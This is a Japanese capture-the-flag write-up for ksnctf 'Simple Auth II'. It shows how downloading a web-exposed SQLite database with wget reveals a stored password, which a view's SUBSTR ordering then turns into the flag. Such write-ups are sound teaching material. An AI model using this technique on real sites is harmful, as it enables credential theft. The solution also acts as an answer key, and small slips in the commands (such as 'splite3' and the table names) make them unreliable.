[ksnctf] Simple Auth II

ksnctfにチャレンジ 第35問目です。

※ksnctfは常駐型のCTFサイトです。 ※問題のページはコチラです。

Simple Auth II

まず配布されている source を見てみると

    $db = new PDO('sqlite:database.db');
    $s = $db->prepare('SELECT * FROM user WHERE id=? AND password=?');
    $s->execute(array($_POST['id'], $_POST['password']));
    $ok = $s->fetch() !== false;

ここが認証部分です。 問題は1行目です。PDOは PHP DATA OBJECT のことで 各種データベースへのアクセスを抽象化して簡単に扱うことができるクラスです。

ここで sqlite の dbファイルが直接読み込まれています。

よって以下のように直接データベースを取得できます。

$wget ctfq.sweetduet.info:10080/~q35/database.db
$file ./database
./database.db: SQLite 3.x database

fileコマンドで確認すると SQlite3のdbファイルだとわかります。

ここまでくればほぼ完了で 素直に sqlite3 を使ってこのデータベースを閲覧してみると

$ splite3 database.db
splite> .table
user   user2

sqlite>  .dump user1
CREATE VIEW user AS SELECT id, SUBSTR(password, 6,1)||SUBSTR(password, 2,1)||SUBSTR(password,13,1)||SUBSTR(password, 1,1)||SUBSTR(password,17,1)||SUBSTR(password, 8,1)||SUBSTR(password,15,1)||SUBSTR(password,19,1)||SUBSTR(password, 3,1)||SUBSTR(password, 4,1)||SUBSTR(password,12,1)||SUBSTR(password,21,1)||SUBSTR(password, 5,1)||SUBSTR(password,11,1)||SUBSTR(password,16,1)||SUBSTR(password, 7,1)||SUBSTR(password,10,1)||SUBSTR(password,18,1)||SUBSTR(password, 9,1)||SUBSTR(password,14,1)||SUBSTR(password,20,1) AS password FROM user2;

sqlite>  .dump user2
INSERT INTO "user2" VALUES('root','GLDmNFJimveAAxyg_wSNp');

などで調べると user2 に記録されている password文字列を user1 に記録されている手順で並び替えればFLAGになります。

ちなみに SQLの SUBSTR は文字の先頭から 何文字目かで指定するので 第二引数に 0 が登場していません。